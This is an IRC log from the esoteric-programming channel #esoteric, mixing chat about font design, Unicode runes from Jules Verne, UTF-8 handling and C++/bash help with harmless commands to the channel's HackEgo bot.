11:01:16 <hppavilion[1]> gamemanj: Correct. It's handled by a trained dachshund
11:01:35 <hppavilion[1]> gamemanj: I don't really know what "human alchemy" is
11:01:46 <gamemanj> Attempting to transmute a human!
11:01:54 <shachaf> `learn A predictate assigns a truth value to things that haven't happened yet.
11:01:58 <HackEgo> Learned 'predictate': A predictate assigns a truth value to things that haven't happened yet.
11:02:11 <gamemanj> shachaf: But people are wrathful all the time!
11:02:32 <shachaf> Anyway, you should actually read that PDF.
11:02:37 <hppavilion[1]> gamemanj: But not lustful. That certainly isn't a thing
11:02:42 <hppavilion[1]> shachaf: Yes, I opened it
11:02:43 <gamemanj> ...
11:03:02 <shachaf> It'll keep you busy for a while and then you'll know a bunch of things.
11:03:13 <hppavilion[1]> shachaf: That sounds familiar
11:03:23 <shachaf> Like the gauge integral!
11:03:38 <shachaf> More general than Riemann *and* Lebesgue!
11:06:33 <shachaf> `mkx bin/hogue//hg log --remvoed --template "{desc}
11:06:36 <shachaf> oops
11:06:37 <HackEgo> bin/hogue
11:06:44 <hppavilion[1]> https://derpicdn.net/media/W1siZiIsIjIwMTIvMTIvMzEvMjFfMTdfMzBfMTgwXzE5ODg3MV9fVU5PUFRfX3NhZmVfdHdpbGlnaHRfc3BhcmtsZV9yYWluYm93X2Rhc2hfcGlua2llX3BpZV9mbHV0dGVyc2h5X3Jhcml0eV9hcHBsZWphY2tfYW5pbWF0ZWRfbWFuZV9zaXhfYXJ0aXN0X2JsYWNrZ3J5cGgwbl9oZWFkYm9iIl1d/198871__safe_twilight%2Bsparkle_rainbow%2Bdash_pinkie%2Bpie_fluttershy_rarity_applejack_animated_mane%2Bsix_upvotes%2Bgalore_artist-colon-blackgryph0n_headbob.gif is... interesting
11:06:47 <shachaf> `mkx bin/hogue//hg log --removed --template "{desc}\n" "$@"
11:06:50 <HackEgo> bin/hogue
11:07:44 <hppavilion[1]> I really wish they were a bit out of sync
11:07:51 <hppavilion[1]> It'd be much less creepy that way
11:08:17 <gamemanj> hppavilion[1]: Reading the URL, all I will say is: "At least it's `safe`!"
11:08:36 <shachaf> djb is TG
11:13:00 <shachaf> `hogue bin
11:13:50 <HackEgo> ​<shachaf> mkx bin/hogue//hg log --removed --template "{desc}\\n" "$@" \ <shachaf> mkx bin/hogue//hg log --remvoed --template "{desc} \ <shachaf> mkx bin/hog//hg log --template "{desc}\\n" "$@" \ <shachaf> mkx bin/5//for i in {1..5}; do quote; done | sport \ <shachaf> mkx bin/1//\\` "$@" | sport \ <izabera> ` chmod +x bin/mirrorgo \ <izabera> ` p
11:14:06 <shachaf> `5
11:15:13 <HackEgo> 1/2:706) <zzo38> I think we are sort of this insane, and also sort of not as much as insane, and also sort of a bit more insane than that, and also somewhat more various other thing at various times whatever you are discussing at that time \ 605) <Phantom__Hoover> elliott, cars aren't perfectly spherical. \ 1221) <Dulnes> Anyways i
11:15:43 <shachaf> `spam
11:16:07 <HackEgo> 2/2:actually do have food in my house and this time its not coffee based \ 218) <xplat> so you have legacy software in befunge that needs supported? \ 268) <Gregor> I use LiGNUXFCE+apps <Gregor> That's pronounced by saying "Linux" and then vomiting, btw. \
11:23:13 <shachaf> There'll be a quiz, so you'd better study.
11:23:28 <gamemanj> so anyway I'm using linxfcpacmathunarchexchat.
11:26:16 -!- Phantom__Hoover has joined.
11:29:54 -!- Phantom_Hoover has quit (Ping timeout: 250 seconds).
11:47:14 <hppavilion[1]> The best censoring is missed censoring
11:47:19 <int-e> @google linxfcpacmathunarchexchat
11:47:20 <lambdabot> No Result Found.
11:47:26 <hppavilion[1]> Like shith*le and b****fuck
11:47:45 <gamemanj> int-e: linux, xfce, pacman, thunar, arch, hexchat.
11:48:14 <int-e> hmm, had not heard of thunar
11:48:32 <gamemanj> xfce's file manager.
11:49:29 <int-e> nor hexchat, but it's a fork of xchat which I used at some point...
11:49:59 <int-e> ...before switching to irssi
11:51:30 <gamemanj> A number of warning... 12264
11:52:02 <int-e> agzzi... hmm, no.
11:52:18 <int-e> err, it would be hgzzi anyway
12:04:02 <Phantom__Hoover> hexchat is that fork of xchat which works on windows and completely fucks up the colours for no good reason, right?
12:06:15 <gamemanj> Phantom__Hoover, try a CTCP VERSION on me?
12:07:13 <Phantom__Hoover> i know i'm using hexchat but it's an old version from before they fucked up the colours
12:07:27 <gamemanj> I don't see anything wrong with the colours.
12:07:36 <Phantom__Hoover> nice 933MHz cpu, what is this, the 80s
12:07:45 <gamemanj> I think that's incorrect reporting.
12:08:19 <gamemanj> Either that or it's because my CPU's idling...
12:08:33 <gamemanj> However, in "model name" it specifies 2.40GHz.
12:08:54 <gamemanj> ...so in other words, still ancient, but not that ancient.
12:09:17 <Phantom__Hoover> i still have no clue why xchat thinks your clock speed needs to be in your version string
12:09:18 <gamemanj> Give me a sec.
12:09:26 <gamemanj> I'm just going to run a bunch of infinite looping processes...
12:09:54 <gamemanj> THERE we go!
12:09:57 <Phantom__Hoover> 2.4ghz doesn't seem 'ancient' given how much clock speeds have stagnated
12:10:01 <gamemanj> Now try the CTCP VERSION.
12:10:06 <Phantom__Hoover> still 933
12:10:08 <gamemanj> Eh?
12:10:22 <Phantom__Hoover> presumably it just reads the clock speed once when the client starts up
12:10:34 <gamemanj> Well, that's annoying.
12:12:35 <gamemanj> About that "doesn't seem ancient" - Not yet, I suppose, but I'm already seeing the train at the end of the tunnel. Game devs are hailing Vulkan and OpenGL 3.0+.
12:13:07 <Phantom__Hoover> so a new skylake i5 has a clock speed of 2.9GHz
12:13:21 <Phantom__Hoover> and graphics hardware is a whole other kettle of fish
12:14:05 -!- Phantom__Hoover has changed nick to Phantom_Hoover.
12:18:07 <gamemanj> This is an Ironlake. OpenGL 2.1, or OpenGL ES 2, with extensions. Will run WebGL stuff fine, if slow... but don't worry, WebGL 2 fixes that bug... by making sure stuff can't run at all. If I sound annoyed about this, that's because I am.
12:20:03 <Phantom_Hoover> ironlake is your GPU architecture. it has no direct relation with your clock speed
12:20:11 <gamemanj> That's not my point.
12:20:16 <gamemanj> I'm not talking about clock speed...
12:20:20 <Phantom_Hoover> also i remember using an intel gpu on linux and you have my sympathy
12:20:21 <gamemanj> I'm noting about hardware age
12:20:30 <gamemanj> Hey, it's absolutely fine!
12:20:35 <Phantom_Hoover> well we started out talking about clock speed!
12:20:53 <gamemanj> Ok, true, the topic's diverting all over the place.
12:21:24 <gamemanj> Anyway, the hardware works fine. It's just (supposedly) not capable of all the fancy OpenGL ES 3 features Khronos like.
12:21:25 <Phantom_Hoover> maybe it's fine now, i remember ~5 years ago if i tried to run anything that used modern shaders it would hard-lock the GPU and i'd need to reboot
12:52:26 -!- top has joined.
12:53:40 -!- pemaguru has joined.
12:56:59 -!- pemaguru has left.
13:41:12 -!- top has quit (Ping timeout: 250 seconds).
14:17:14 -!- Akaibu has joined.
14:35:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
14:50:26 -!- top has joined.
15:28:04 -!- Kaynato has joined.
15:30:58 <\oren\> Almost finished adding Cherokee
15:32:48 <\oren\> Also, I just read a book about Ramanujan. and all I can think is, poor Hardy!
15:34:08 <Phantom_Hoover> invest all your efforts into your prodigy only for him to ungratefully die of tuberculosis
15:34:42 <\oren\> yeah. he must have been defastated
15:35:51 <int-e> is there a pun in that typo, mhm
15:36:56 <int-e> or is it another small keyboard problem
15:37:35 -!- SupayrPoney has joined.
15:37:51 <int-e> `welcome SupayrPoney
15:37:58 <SupayrPoney> Hey! Thanks :)
15:38:01 <\oren\> I think this time it was a brain problem
15:38:16 <\oren\> that caused the misspelling
15:38:18 <int-e> HackEgo: come on, you can do it! get that data out of your swap space!
15:38:36 <HackEgo> SupayrPoney: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
15:38:41 <int-e> `snackego
15:38:46 <HackEgo> ​:)
15:38:49 -!- toon has joined.
15:38:51 <\oren\> We also make fonts!
15:39:03 <\oren\> or at least I do.
15:40:03 -!- Vorpal has joined.
15:40:03 -!- Vorpal has quit (Changing host).
15:40:03 -!- Vorpal has joined.
15:44:58 -!- top has quit (Read error: Connection reset by peer).
15:49:47 <gamemanj> I've been using \oren\'s font... or, more specifically, the "supported characters" page as a way of copying out characters.
16:07:06 <\oren\> https://www.youtube.com/watch?v=vTIIMJ9tUc8
16:07:27 <b_jonas> \oren\: by the way, http://www.orenwatson.be/fontdemo.htm does load from here, so it was a client problem last time
16:08:41 <b_jonas> \oren\: and I still think І looks too similar to I, and Ј looks too similar to J in that font
16:16:42 <b_jonas> \oren\: wait, does this font have \x{2400} and \x{240A}? those would be useful
16:17:30 <b_jonas> \oren\: the whole block from \x{2400} to \x{2421} in fact
16:20:45 <gamemanj> the apple ␘not ␌al␊ar from the tree
16:22:57 <gamemanj> ␚␠␆ ␍α␐
16:23:11 <gamemanj> there, good luck working out what that's supposed to mean
16:24:09 <gamemanj> Δv is a critical concept for KSP players.
16:24:23 <gamemanj> ...Ok, I should probably stop with the UTF-8 madness
16:25:56 -!- augur has joined.
16:37:09 <Vorpal> <gamemanj> there, good luck working out what that's supposed to mean <-- yeah since they are just blurs in DejaVu Sans Mono 8pt.
16:37:25 <Vorpal> I guess the hinting is bad?
16:37:34 <Vorpal> Since i use greyscale AA with full hinting
16:37:44 * gamemanj sets his font to DejaVu Sans Mono 8pt
16:37:49 <Vorpal> But those symbols doesn't look hinted at ALL
16:38:04 <gamemanj> I'm not even sure the symbols are part of DejaVu Sans...
16:38:09 <Vorpal> Maybe
16:38:20 <Vorpal> I guess a substitution font could be pulled in
16:39:00 <gamemanj> the apple CANnot FFalLFar from the tree / SUBSPACK CRαDLE
16:39:29 <gamemanj> That second line was an attempt to write something using absolutely 0 ASCII (because then it might be readable)
16:43:01 <\oren\> b_jonas: it does have 0x2400 to 0x2426
16:43:23 <\oren\> `u8tbl 0x2400 0x2426
16:43:34 <HackEgo> ​␀␁␂␃␄␅␆␇␈␉␊␋␌␍␎␏ \ ␐␑␒␓␔␕␖␗␘␙␚␛␜␝␞␟ \ ␠␡␢␣␤␥␦
16:43:42 <b_jonas> \oren\: ok
16:57:33 -!- xkapastel has joined.
17:01:14 -!- Akaibu has quit (Quit: Connection closed for inactivity).
17:03:24 -!- plusminus has joined.
17:05:22 <plusminus> Is there any systematic approach in seeding a Brainfuck tape?
17:09:04 -!- plusminus has quit (Quit: Page closed).
17:16:32 <Phantom_Hoover> wha
17:17:30 -!- lambda-11235 has joined.
17:18:07 <gamemanj> ...well, plusminus, the easiest way to decide on the initial values for a tape is not to actually check it unless it is outputted '.' or checked using '[' or ']'. At this time, the relative value to 0 should be added upon the seed value, which is determined by a set of two chess matches against a player of your choosing apart from yourself.
17:18:21 <int-e> `? wtf
17:18:37 <HackEgo> wtf? ¯\(°​_o)/¯
17:18:57 <gamemanj> This generates two values. 0 if you won, and 0 if you lose. Adding these two values together gives you the seed value for that cell.
17:20:05 <gamemanj> Some may say that this algorithm always returns 0. That's the point.
17:51:28 -!- moon_ has joined.
17:51:35 <moon_> hiii
17:52:23 -!- augur has quit (Ping timeout: 258 seconds).
17:54:53 -!- augur has joined.
17:57:25 -!- hwpplayer1 has joined.
18:01:00 <moon_> hi
18:27:51 -!- MoALTz has quit (Quit: Leaving).
18:35:40 -!- moon_ has quit (Ping timeout: 250 seconds).
18:50:58 <\oren\> Ok, I've finished cherokee and a few other things, but I don't think it's enough yet. (I'm going back to the 50 chracters per release rule) Anyone have a suggestion
18:51:51 <\oren\> maybe I should lower the tilde...
18:52:09 <\oren\> ~=
18:52:41 <\oren\> yeah I'll try putting the tilde so it lines up with -=~=
18:53:16 <lifthrasiir> \oren\: perhaps tildes should be either at very top or at the exact center
18:53:47 <lifthrasiir> (top does not hurt that much, given an example of *=)
18:54:01 <\oren\> my * is in the centre
18:56:13 <\oren\> hmm, o yeah. to be consistent, I'll put the tilde centred. it's supposed to be a font for terminals/programming anyway...
19:00:31 <b_jonas> \oren\: well, if you want more characters, you can always do some more kanji
19:00:48 <b_jonas> \oren\: or maybe generate the full set of hangul syllables
19:06:49 <gamemanj> \oren\: does it support the APL characters?
19:07:00 -!- moon_ has joined.
19:07:01 <moon_> i installed openbsd (=
19:07:02 <b_jonas> \oren\: oh, about the font, there's something in which you might be able to help me.
19:07:05 <b_jonas> gamemanj: most, yes
19:07:54 <b_jonas> \oren\: I'm trying to transcribe Arne Saknussem's mysterious inscription from Jules Verne's ''Voyage au centre de la Terre''. Here's the state I've got:
19:07:58 <b_jonas> ᛁᚿ ᛋᚿᛅᚠᚠᛚᛚᛋ ᛁᚮᚴᚢᛚᛁᛋ ᚴᛦᛆᛏᛅᛦᛅᛘ ᚴᛅᛘ ᚦᛅᛚᛁᛒᛆᛏ ᚢᛘᛒᛦᛆ ᛋᚴᛆᛦᛏᛆᛦᛁᛋ ᛁᚢᛚᛁᛁ ᛁᚿᛏᛦᛆ ᚴᛆᛚᛅᚿᚦᛆᛋ ᚦᛅᛋᚴᛅᚿᚦᛅ, ᛆᚢᚦᛆᛋ ᚢᛁᛆᛏᚮᛦ, ᛏᛅ ᛏᛅᛦᛦᛅᛋᛏᛦᛅ ᚴᛅᚿᛏᛦᚢᛘ ᛆᛏᛏᛁᚿgᛅᛋ. ᚴᚮᚦ ᚠᛅᚴᛁ. ᛆᛦᚿᛅ ᛋᛆᚴᚿᚢᛋᛋᛅᛯ
19:08:22 <b_jonas> I've run into problems with the unicode encoding of the symbols.
19:08:29 <b_jonas> Questions: are two different looking runes used for c/k are different characters, is ᛯ the right encoding for the mm, what is the encoding for the g rune, the comma, and the dot (those might not even be real runes), is the strange shape for the a in the "attinges" is significant, how to encode the d rune for which I used ᚦ here?
19:08:38 <b_jonas> And the expert level question is: identify all the typos that I made, as opposed to those already in the Verne book. (Two I noticed in the verne book are "Snefflls" instead of "Sneffels" (or "Snæfells", former is latin, latter is norse; and "te terrestre" instead of "et terrestre"); and identify all the typos the book made but I didn't replicate.
19:08:49 <b_jonas> See the ciphered runes in fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_2 , a transcription to the latin script in fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_3 , and the solution in fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_5
19:10:41 <b_jonas> \oren\: and if the g rune (and possibly the d rune, the mm rune, and the variant c rune) isn't yet encoded in unicode, then consider add them to your font as private use characters.
19:20:27 -!- hwpplayer1 has quit (Quit: Leaving.).
19:21:34 -!- Frooxius has quit (Read error: Connection reset by peer).
19:22:01 <b_jonas> \oren\: or you can take a break with this one and make a bigger grid font
19:23:04 <\oren\> I'll add these runes to the PUA
19:23:28 <b_jonas> \oren\: be careful, they could be just more stupid mistakes Verne made
19:23:49 <b_jonas> or they could be already in unicode somewhere
19:25:04 <\oren\> I don't see any reference to them. They added fake runes that Tolkien invented though
19:25:15 <b_jonas> yep
19:28:20 <b_jonas> \oren\: but Tolkien has every authority to create new runes. Verne doesn't, especially not in a book where he makes at least two trivial typos in the inscription.
19:28:39 <\oren\> he seems to use both ᛉ and ᛯ for m
19:29:03 <b_jonas> \oren\: no, the second is used for "mm", and Professor Lindenbrock mentions this explicitly
19:29:23 <\oren\> i see.
19:29:32 <b_jonas> \oren\: it's used only in Saknussemm's name, and the Professor uses that character to date the inscription before dating it, because he believes that character is only in a later version of the rune alphabet
19:29:46 <b_jonas> and he transcribes it as mm
19:31:06 <b_jonas> \oren\: as in, the letter is found in a book written in runes, but those runes don't have that letter, according to the text:
19:31:22 <b_jonas> chapter 3 says “es deux écritures ne sont pas de la même main, dit-il ; le cryptogramme est postérieur au livre, et j’en vois tout d’abord une preuve irréfragable. En effet, la première lettre est une double M qu’on chercherait vainement dans le livre de Turleson, car elle ne fut ajoutée à l’alphabet islandais qu’au quatorzième siècle. Ainsi donc, il y a au moins deux cents ans entre le manuscrit et le document.”
19:31:42 <b_jonas> (the original book is identified in chapter 2)
19:32:45 <\oren\> I see.
19:35:03 -!- Frooxius has joined.
19:36:38 <b_jonas> oh, and
19:37:04 <b_jonas> I don't know if this matters, but http://www.gutenberg.org/files/18857/18857-h/18857-h.htm is another copy of the novel, so it may be worth to investigate it too
19:37:07 <b_jonas> it has the runes as images
19:38:43 <b_jonas> and there's http://www.gutenberg.org/cache/epub/4791/pg4791-images.html too
19:39:39 <b_jonas> that latter doesn't have images of the runes though
19:40:54 <b_jonas> but the image in http://www.gutenberg.org/files/18857/18857-h/18857-h.htm looks like a worse version of the one in https://fr.wikisource.org/wiki/Voyage_au_centre_de_la_Terre/Chapitre_2
19:46:58 -!- augur has quit (Remote host closed the connection).
19:47:47 -!- lambda-11235 has quit (Ping timeout: 260 seconds).
19:51:59 -!- lambda-11235 has joined.
19:52:15 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds).
19:53:06 -!- Phantom_Hoover has joined.
20:18:00 -!- lambda-11235 has quit (Ping timeout: 260 seconds).
20:21:52 -!- Akaibu has joined.
20:25:14 -!- lambda-11235 has joined.
20:50:25 -!- piR has joined.
20:50:41 <piR> SupayrPoney: coucou
20:52:09 <int-e> hmmm
20:52:12 <int-e> `welcome piR
20:52:59 <HackEgo> piR: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
20:54:41 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
20:56:54 -!- Phantom_Hoover has joined.
21:08:06 <HackEgo> [wiki] [[Special:Log/newusers]] create * Jacek Michalak * New user account
21:10:05 <HackEgo> [wiki] [[COBOL]] https://esolangs.org/w/index.php?diff=47122&oldid=34529 * Jacek Michalak * (+42) /* External resources */
21:17:18 -!- augur has joined.
21:27:19 -!- iTitou has joined.
21:43:28 <HackEgo> [wiki] [[ZT]] https://esolangs.org/w/index.php?diff=47123&oldid=30833 * Jacek Michalak * (-300) /* External resources */
21:56:33 <HackEgo> [wiki] [[Ziim]] https://esolangs.org/w/index.php?diff=47124&oldid=45017 * Jacek Michalak * (+39) /* Interpreter */
22:00:14 -!- piR has left.
22:05:05 <moon_> sfml likes to mess with me >_>
22:05:17 <moon_> same with codeblocks
22:06:05 -!- Melvar has quit (Quit: thunderstorm).
22:08:07 -!- lambda-11235 has quit (Quit: Bye).
22:12:19 <zzo38> I have played thewit.nes and cannot quite figure out how the green/purple mark on walls is doing. I might try again to see if I can figure out, but someone else who completed this game also said he nevertheless cannot quite figure how it is working, despite winning the game.
22:13:13 -!- dnm has joined.
22:15:01 <moon_> fizzie?
22:15:26 <moon_> wait nvm
22:15:36 <HackEgo> [wiki] [[YABALL]] https://esolangs.org/w/index.php?diff=47125&oldid=8000 * Jacek Michalak * (+42) /* External resources */
22:18:26 <\oren\> I have now uploaded the new version
22:19:31 <\oren\> `u8tbl 0x13a0 0x13f5
22:20:01 <HackEgo> ​ᎠᎡᎢᎣᎤᎥᎦᎧᎨᎩᎪᎫᎬᎭᎮᎯ \ ᎰᎱᎲᎳᎴᎵᎶᎷᎸᎹᎺᎻᎼᎽᎾᎿ \ ᏀᏁᏂᏃᏄᏅᏆᏇᏈᏉᏊᏋᏌᏍᏎᏏ \ ᏐᏑᏒᏓᏔᏕᏖᏗᏘᏙᏚᏛᏜᏝᏞᏟ \ ᏠᏡᏢᏣᏤᏥᏦᏧᏨᏩᏪᏫᏬᏭᏮᏯ \ ᏰᏱᏲᏳᏴᏵ
22:20:11 <\oren\> it includes the cherokee syllabary
22:20:29 <dnm> Aww, man.
22:20:39 <dnm> How am I gonna process that with SNOBOL? ;]
22:21:42 <dnm> I don't think I have an implementation that can handle that much Unicode.
22:23:51 <shachaf> `relcome dnm
22:24:04 <HackEgo> dnm: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
22:24:34 <\oren\> `u8tbl 0x1da8 0x1db2
22:24:36 <HackEgo> ​ᶨᶩᶪᶫᶬᶭᶮᶯ \ ᶰᶱᶲ
22:24:37 <dnm> Hey shachaf
22:24:57 <\oren\> `u8tbl 0x2e00 0x2e42
22:24:58 <HackEgo> ​⸀⸁⸂⸃⸄⸅⸆⸇⸈⸉⸊⸋⸌⸍⸎⸏ \ ⸐⸑⸒⸓⸔⸕⸖⸗⸘⸙⸚⸛⸜⸝⸞⸟ \ ⸠⸡⸢⸣⸤⸥⸦⸧⸨⸩⸪⸫⸬⸭⸮ⸯ \ ⸰⸱⸲⸳⸴⸵⸶⸷⸸⸹⸺⸻⸼⸽⸾⸿ \ ⹀⹁⹂
22:25:04 <shachaf> g'dnm
22:30:32 -!- moon_ has quit (Ping timeout: 250 seconds).
22:30:45 <\oren\> `u8tbl 0x302a 0x302f
22:30:46 <HackEgo> ​〪〭〮〯〫〬
22:30:56 <\oren\> uhhh
22:31:26 <\oren\> oh, right those are combiners rrgh
22:31:46 <\oren\> `u8tbl 0x3031 0x3035
22:31:47 <HackEgo> ​〱〲〳〴〵
22:32:46 <\oren\> `u8tbl 0x3038 0x303B
22:32:48 <HackEgo> ​〸〹〺〻
22:34:32 <\oren\> and I added three vernian runes 
22:35:36 <\oren\> those are g, d, and k
22:36:32 -!- Melvar has joined.
22:41:34 -!- idris-bot has joined.
22:41:38 <dnm> vernian?
22:42:41 <zzo38> It should be easy to make it to handle UTF-8. To skip a UTF-8 character, you can skip the next byte and also any contiguous following bytes that are in range 0x80 to 0xBF.
22:43:21 <shachaf> But what if you have an invalid UTF-8 sequence?
22:44:42 -!- AnotherTest has joined.
22:44:51 <zzo38> shachaf: Of course it won't handle that. If you need to handle invalid UTF-8 sequences (and possibly also overlong and invalid Unicode codepoints) then it would be more complicated to do.
22:45:09 <zzo38> (UTCE is even simpler to handle: To skip a UTCE character, skip the next byte; if that byte has the high bit set, also skip the next byte after that (ignore the value of the second byte).)
22:46:04 <coppro> shachaf: that's still the correct approach, since you synchronize up to the next (purported) start of a character, which is the next byte without the high bit set
22:46:34 <shachaf> Maybe the correct approach if you see 5 continuation bytes in a row is to exit with an error.
22:47:07 <zzo38> It depends if you want to care what it is or not, I suppose, and if you care whether or not it is valid.
22:48:48 <coppro> shachaf: perhaps the correct approach if you see two leading bytes in a row is to use an exploit in the display driver to launch a DDOS of Freenode.
22:49:01 <coppro> I'm assuming that what you're just trying to do is recover from an invalid character sequence
22:49:02 <\oren\> dnm: b_jonas asked me to encode in the PUA of my font some nonstandard characters Jules Verne used in a runic inscription in "journey to the centre of the earth"
22:50:05 <zzo38> I have defined in the runic area of UTCE a single nonstandard rune, although I do not know if that rune is used by Jules Verne or not.
22:51:08 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:51:18 <dnm> \oren\: Ah, hah!
22:51:55 <\oren\> I also include  (for non-breaking snakes)
22:52:11 <dnm> Snake mode: engaged.
22:52:57 <shachaf> snack mode
22:53:21 <gamemanj> ...non-breaking snakes?
22:53:25 <gamemanj> XKCD mode?
22:53:39 <\oren\> yup
22:54:31 <\oren\> 
22:54:50 -!- moon_ has joined.
22:55:19 <dnm> Cf.: https://www.youtube.com/watch?v=EuXI6-vOaFk
23:03:09 -!- gamemanj has quit (Ping timeout: 244 seconds).
23:05:43 -!- copumpkin has joined.
23:09:20 <moon_> ...
23:09:27 <moon_> i needed to talk to gamemanj >_>
23:10:58 <myname> i misread that as "i needed to taöl german"
23:11:03 <myname> *talk
23:11:33 <moon_> lol
23:14:05 <HackEgo> [wiki] [[++brainfuck++]] M https://esolangs.org/w/index.php?diff=47126&oldid=47093 * IAM * (+5)
23:19:49 <moon_> can hackego's internal compiler compile C++0x?
23:26:44 <izabera> only one way to know
23:31:17 <zzo38> If it is a sufficiently new version of gcc then maybe it can; I don't know. You can try to check what version it has, and/or you can try to put a C++0x code in and see if it works.
23:31:50 <\oren\> `` gcc -v
23:32:00 <HackEgo> Using built-in specs. \ COLLECT_GCC=gcc \ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.7/lto-wrapper \ Target: x86_64-linux-gnu \ Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7
23:34:33 <zzo38> Would you know what is wrong with ff-dntsc.c?
23:35:53 <moon_> gamemanj said it would be nice for a single line game for hackego, so i decided to make one for fun :P
23:36:14 <zzo38> What game is that?
23:37:56 <moon_> simple number game where you have to add together numbers in a array or add more to the array, you get to add or remove a number every 6 moves
23:38:06 <moon_> im using a save file to hold that info
23:38:53 <moon_> you win once a number in the array is equal to 999 or higher
23:39:24 <izabera> `` g++ -std=c++0x -x c++ - -E -P < /dev/null
23:39:39 <HackEgo> No output.
23:40:29 <moon_> yay
23:41:20 <moon_> anyways, codeblocks wont let me use siol (string to integer)
23:41:51 <moon_> so i need a function to do it >_>
23:44:11 -!- oerjan has joined.
23:45:24 <moon_> oerjan, is there a way to convert a string to a number without using stoi?
23:45:30 <moon_> my system wont let me use it.
23:45:45 <oerjan> sscanf?
23:45:47 -!- xkapastel has quit (Quit: Connection closed for inactivity).
23:45:56 <moon_> in C++
23:46:02 <oerjan> i don't know C++
23:46:06 <moon_> )=
23:46:30 <oerjan> although it's a superset, so you probably can get sscanf?
23:46:39 <oerjan> (of C)
23:47:25 <moon_> yea, but i need it from a processed string
23:47:28 <moon_> not direct input
23:47:44 <oerjan> sscanf takes a string
23:48:05 <oerjan> note two s'es
23:48:20 -!- ais523 has joined.
23:48:44 <moon_> kk
23:49:47 <oerjan> it's also not _that_ hard to write by hand.
23:50:11 <oerjan> i guess it depends on how strict the string format is. and if you have negative numbers.
23:50:27 <oerjan> *whether
23:50:47 <oerjan> (stoi, that is)
23:51:04 <oerjan> oh and the C function is atoi
23:52:04 <moon_> codeblocks has problems with both >_>
23:52:17 <oerjan> i don't know codeblocks either
23:52:23 <moon_> codeblocks is a ide
23:52:28 <moon_> for C and C++
23:52:42 <oerjan> you need to include the right header, of course.
23:53:25 <moon_> ik, i am
23:53:36 <moon_> codeblock's builtin mingw compiler has yet to be fixed
23:53:55 <oerjan> so basically it's all broken?
23:54:14 <moon_> C:\Users\Braden\Desktop\Desktop\hackventure\main.cpp|28|error: incompatible types in assignment of 'char*' to 'char* [(((sizetype)(((ssizetype)argc) + -1)) + 1)]'|
23:54:18 <moon_> this makes no sense
23:54:40 <moon_> char* can definitely not be converted to char* *sarcasm*
23:55:02 <oerjan> the thing on the right is an array of char*
23:55:30 <moon_> oh.
23:55:33 <moon_> nvm then
23:56:42 <oerjan> is it argv? looks like that's its size
23:57:30 <moon_> mhm
23:57:34 <moon_> im trying >_>
23:57:52 <moon_> might as well use cin instead
23:58:45 <moon_> actually, this might be many times easier in bash.
23:59:52 <oerjan> maybe you're giving it arguments in the wrong order?
2016-06-05
00:00:17 <oerjan> because assigning to argv isn't that common
00:00:29 <moon_> no
00:00:42 <oerjan> IF YOU SAY SO
00:00:53 <moon_> im assigning a var t- discworld? really :P
00:02:57 * oerjan gets a http://www.chiark.greenend.org.uk/~sgtatham/bugs.html vibe
00:03:53 <oerjan> (translation: you're not giving any information that could actually tell me why you are failing)
00:04:47 <shachaf> But you're a mind-reader, aren't you?
00:05:21 <oerjan> more like mind-flayer. BRAINS.
00:06:41 <moon_> is there a good way to use sed to replace | with (space)? it doesnt wana
00:07:02 <shachaf> I think that's NP-hard.
00:07:16 <moon_> like how?
00:07:28 * oerjan mourns the probable death of Mr. Izquxxisquid
00:07:40 <moon_> infact, is ther a good way to replace | with (space) in th first plac?
00:07:51 <oerjan> moon_: s/[|]/ /
00:09:12 <ais523> probably with a g at the end? unless you only want to replace one | per line
00:09:35 <moon_> ya, with th g :P
00:09:36 <oerjan> well he didn't specify so i left it out.
00:10:00 <oerjan> (exercise for the reader etc. etc.)
00:10:14 <moon_> now i jst need to seperate each number into the approprite variables
00:10:50 <moon_> and im lost again xD
00:10:56 <moon_> i am terrible with bash
00:12:29 -!- ais523 has quit (Read error: Connection reset by peer).
00:12:36 -!- ais523 has joined.
00:13:20 <moon_> newer versions of bash support arrays, i wonder if hackego does
00:13:55 <oerjan> `` bash --version
00:13:57 <HackEgo> GNU bash, version 4.2.37(1)-release (x86_64-pc-linux-gnu) \ Copyright (C) 2011 Free Software Foundation, Inc. \ License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> \ \ This is free software; you are free to change and redistribute it. \ There is NO WARRANTY, to the extent permitted by law.
00:14:12 <Elronnd> `` which zsh
00:14:13 <oerjan> hth
00:14:14 <HackEgo> No output.
00:14:33 <moon_> `` num[10]={ zero one two}
00:14:38 <Elronnd> `` which zsh; echo $?
00:14:47 <moon_> `` num[10]={ zero one two }
00:15:05 <moon_> hackegolagged up again >_>
00:15:31 <HackEgo> ​/hackenv/bin/`: line 4: zero: command not found
00:16:05 <moon_> )=
00:16:10 <HackEgo> ​/hackenv/bin/`: line 4: zero: command not found
00:16:11 <HackEgo> 1
00:16:19 <shachaf> `spam
00:16:21 <HackEgo> 3/2:
00:16:29 <shachaf> Oh, right.
00:16:30 <shachaf> `5
00:16:35 <HackEgo> 1/3:117) <Gregor> <badgood> GOODBAD! Your watered down brand of evil conflicts with my botched attempts at dogoodery! \ 362) <oerjan> as i was filled with zzo38 mystery at the moment i saw <zzo38> quintopia: I am at Canada. \ 984) <kmc> hm hitler probably did one thing that I like too <kmc> he banned tubas, I guess I am neutral on
00:16:38 <shachaf> `spam
